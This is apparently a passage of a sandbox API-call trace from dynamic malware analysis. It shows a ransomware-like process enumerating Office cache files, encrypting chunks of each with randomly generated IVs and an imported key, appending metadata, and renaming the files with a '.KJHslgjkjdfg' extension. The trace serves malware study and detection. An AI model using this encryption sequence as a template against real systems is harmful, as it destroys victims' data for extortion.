[0130.310] GetProcessHeap () returned 0x2a0000 [0130.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0130.310] GetProcessHeap () returned 0x2a0000 [0130.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0130.310] GetProcessHeap () returned 0x2a0000 [0130.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0130.310] GetProcessHeap () returned 0x2a0000 [0130.310] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0130.310] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0130.311] GetProcessHeap () returned 0x2a0000 [0130.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0130.311] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0130.311] GetProcessHeap () returned 0x2a0000 [0130.311] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0130.311] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0130.314] GetProcessHeap () returned 0x2a0000 [0130.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0130.315] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0130.315] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0130.315] GetProcessHeap () returned 0x2a0000 [0130.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0130.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.316] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2513920) returned 1 [0130.316] GetProcessHeap () returned 0x2a0000 [0130.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.316] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.316] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.316] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.316] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.316] GetProcessHeap () returned 0x2a0000 [0130.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.316] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0130.316] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.316] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0130.319] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0130.319] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0130.319] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0130.319] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.319] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0130.319] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.319] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.319] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.319] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.325] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.328] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.329] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.330] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.330] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.330] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.343] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.347] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.347] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.349] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.349] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.349] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.349] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.357] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.360] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.360] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.361] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.361] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.362] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.362] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x265cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.362] SetEndOfFile (hFile=0x124) returned 1 [0130.366] GetProcessHeap () returned 0x2a0000 [0130.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0130.366] GetProcessHeap () returned 0x2a0000 [0130.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.366] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.kjhslgjkjdfg")) returned 1 [0130.367] CloseHandle (hObject=0x124) returned 1 [0130.367] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0130.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.367] GetProcessHeap () returned 0x2a0000 [0130.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.367] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.367] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0130.367] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0130.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.370] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.370] GetProcessHeap () returned 0x2a0000 [0130.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0130.370] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0130.370] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.370] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0130.370] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0130.370] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0130.370] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0130.370] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.370] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0130.371] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0130.371] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.371] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x5aa, lpOverlapped=0x0) returned 1 [0130.371] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0) returned 1 [0130.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.371] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0130.371] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.371] SetEndOfFile (hFile=0x124) returned 1 [0130.374] GetProcessHeap () returned 0x2a0000 [0130.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0130.374] GetProcessHeap () returned 0x2a0000 [0130.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0130.374] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.kjhslgjkjdfg")) returned 1 [0130.381] CloseHandle (hObject=0x124) returned 1 [0130.381] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0130.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0130.381] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=9958388) returned 1 [0130.382] GetProcessHeap () returned 0x2a0000 [0130.382] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0130.382] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0130.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.382] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0xc, lpOverlapped=0x0) returned 1 [0130.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.384] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.384] GetProcessHeap () returned 0x2a0000 [0130.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0130.384] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30) returned 1 [0130.384] CryptDestroyKey (hKey=0x2c6260) returned 1 [0130.384] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f4*=0x30, lpOverlapped=0x0) returned 1 [0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0130.385] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0130.385] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0130.385] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0130.385] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.385] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.390] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.395] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.395] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.396] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0130.397] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0130.397] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0130.406] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0130.409] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.409] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0130.410] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 